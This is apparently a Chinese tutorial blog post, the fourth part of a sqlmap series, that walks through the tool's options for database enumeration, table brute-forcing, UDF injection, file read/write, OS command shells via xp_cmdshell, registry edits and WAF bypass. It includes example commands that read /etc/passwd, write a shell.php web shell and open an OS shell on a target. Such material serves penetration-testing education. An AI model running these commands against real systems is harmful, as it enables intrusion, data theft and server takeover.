Sqlmap自动注入(四)
1.Enumeration参数
Enumeration—枚举
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25#查询当前数据库的用户 --current-user --current-db --hostname #查询数据库管理系统的所有用户账号 --users #查数据库账号在数据库管理系统里的特权,指定用户名,就加-U username,不指定就查询所有的用户的特权 --privileges -U username #查询数据库中用户角色 --roles --dbs #查表。排除系统库中相关内容加上--exclude-sysdbs;也可以指定查那个库的表,eg:-D 数据库名 --tables #根据查到的表、库的内容,查列。eg:-D 数据库名 -T 表名 --column;指定某一列查询,再加上-C 列名 --column #查列中有几条数据 --count #查列的具体数据 #查询数据库中iformation-schema元数据获取信息,前提是当前数据库用户是可以读取information-schema中内容 --schema --batch --exclude-sysdbs #dump数据 --dump #-C指定列、-T指定表,-D指定数据库,--start,--stop查第几条到第几条的数据记录 --dump-all #查询所有,可以加上--exclude-sysdbs排除系统库 --sql-query "select * from users" #指定一条sql语句查询
2.Brute Force参数
Brute Force——暴力破解
mysql<5.0,没有information_schema库。
mysql》=5.0,但无权读取information_schema库。
微软的access数据库,默认无权读取MSysObjects系统表。
1
2
3
4
5#暴力破解表的名称 --common-tables #暴力破解列 --common-columns
3.Udf Injection参数
Udf Injection——用户自定义的函数
向服务器上传文件或执行系统命令、读取文件等这类操作的时候,sqlmap默认把数据库管理系统、内建库文件进行编译后上传到数据库服务器,然后在数据库服务器上基于编译的库进行自定义函数的编写,即UDF,利用这些自定义函数就可以实现对目标系统的特殊系统操作,比如:执行操作系统命令,访问操作系统文件等。
如果是windows系统,上传的就是DLL文件;如果是linux系统,上传的就是shared object文件。
1
2--udf-inject
4.File System 文件系统的访问
文件系统的访问。
1
2
3
4
5#读 --file-read="/etc/passwd" #读取目标系统上的/etc/passwd文件内容,读取到的内容都在本地/sqlmap/output/目录下 #写 --file-write="shell.php" --file-dest"/tmp/shell.php"
5.OS 操作系统的访问
如果是工作linux系统上,并且是mysql、postgresql数据库,sqlmap在进行sql注入的时候,如果想通过sql注入来实现操作系统命令的执行,sqlmap的做法就是根据UDF上传一个编译好的动态链接库,基于这个动态链接库生成sys_exec()、sys_eval()两个UDF.。
如果在windows系统装的是mssql数据库,他就不会在单独写上面两个UDF,而是利用微软的sqlserver里最经典的xp_cmdshell存储过程漏洞,基于这个漏洞执行操作系统命令。在2005版本以后,sp_cmdshell存储过程默认被禁用,在之前的版本都可以利用。没有的话,sqlmap会在目标服务器上重建利用。
1
2
3
4--os-cmd 命令 --os-shell #获取shell,直接通过shell去执行更进一步的命令 --sql-shell
6.Windows Registory
对windows注册表进行操作。
1
2
3
4
5
6
7
8
9
10
11
12#读取注册表键值 --reg-read #添加注册表键值 --reg-add #删除注册表键值 --reg-del #具体操作时,可以通过以下参数指定 --reg-key #指定键的名称 --reg-value #指定键值的赋值 --reg-data #指定数据类型 --reg-type #指定键值的type
eg:sqlmap -u “http://1.1.1.1/a.aspx?id=1” --reg-add --reg-key=“HKEY_LOCAL_MACHINESOFTEAREsqlmap” --reg-calue=Test --reg-type=REG_SZ --reg-data=1
7.General
一般性的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#sqlite会话文件保存位置,我们在执行sqlmap时,默认保存在./sqlmap/output的文件夹里,如果想修改存放到其他位置,就可以用该参数 -s #记录流量文件保存位置 -t #强制字符编码 --charset #--charset=GBK #从起始位置爬站深度,给一个起始的url,再给一个爬网的深度爬几层,它会根据深度的层数去爬网 --crawl --batch-crawl=3 #我们保存下来的额数据会被csv格式进行保存,dump下的数据默认存于“,”分割的csv文件中,可以使用该参数,指定其他分隔符。eg:--csv-del=";" --csv-del #如果你有数据库的账号密码,可以用该参数去指定数据库账号来直接查取数据库中内容 --dbms-cred #清空session,下次再去执行同样的sqlmap注入命令会重新向服务器发各种注入的指令,然后根据返回的结果再次缓存session的信息 --flush-session #使用该参数,让sqlmap知道在访问的是https的网站 --force-ssl #忽略session查询结果,使用该参数,sqlmap再使用同样的指令,不会从本地直接查,而是做一个重新的查询 --fresh-queries #dump非ASCII字符内容时,下载之前将其编码为16进制形式,收到后解码还原 --hex #指定输出数据存放目录 --output-dir #分析和现实数据库目标服务器现实出来的内建报错信息 --parse-errors #将执行的命令保存成配置文件,下次执行时可以直接调用配置文件 --save
8.Miscellaneous
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#告诉sqlmap对于不同的问题要回答为什么结果。eg:--answers="extending=N" --batch --answer #检查WAF/IPS/IDS,检测目标系统使用了这些防护机制 --check-waf #绕过WAF/IPS/IDS的有效方法,尤其对ASP/IIS和ASP.NET/IIS比较有效 --hpp #彻底的WAF/IPS/IDS检查,跟--check-waf相比较检测的更加彻底 --identify-waf #模拟智能手机设备,sqlmap把user-agent改成手机的user-agent,从而让目标服务器认为他是一个来自手机端的请求 --mobile #清除output文件 --purge-output #当有大量检测目标时,只选择基于错误的sql注入漏洞点 --smart #向导模式,利用参数可以按照提示做基本sql注入漏命令的输入 --wizard
最后
以上就是俏皮台灯最近收集整理的关于第十三章—手动漏洞挖掘(九)—— Sqlmap自动注入(四)的全部内容,更多相关第十三章—手动漏洞挖掘(九)——内容请搜索靠谱客的其他文章。
发表评论 取消回复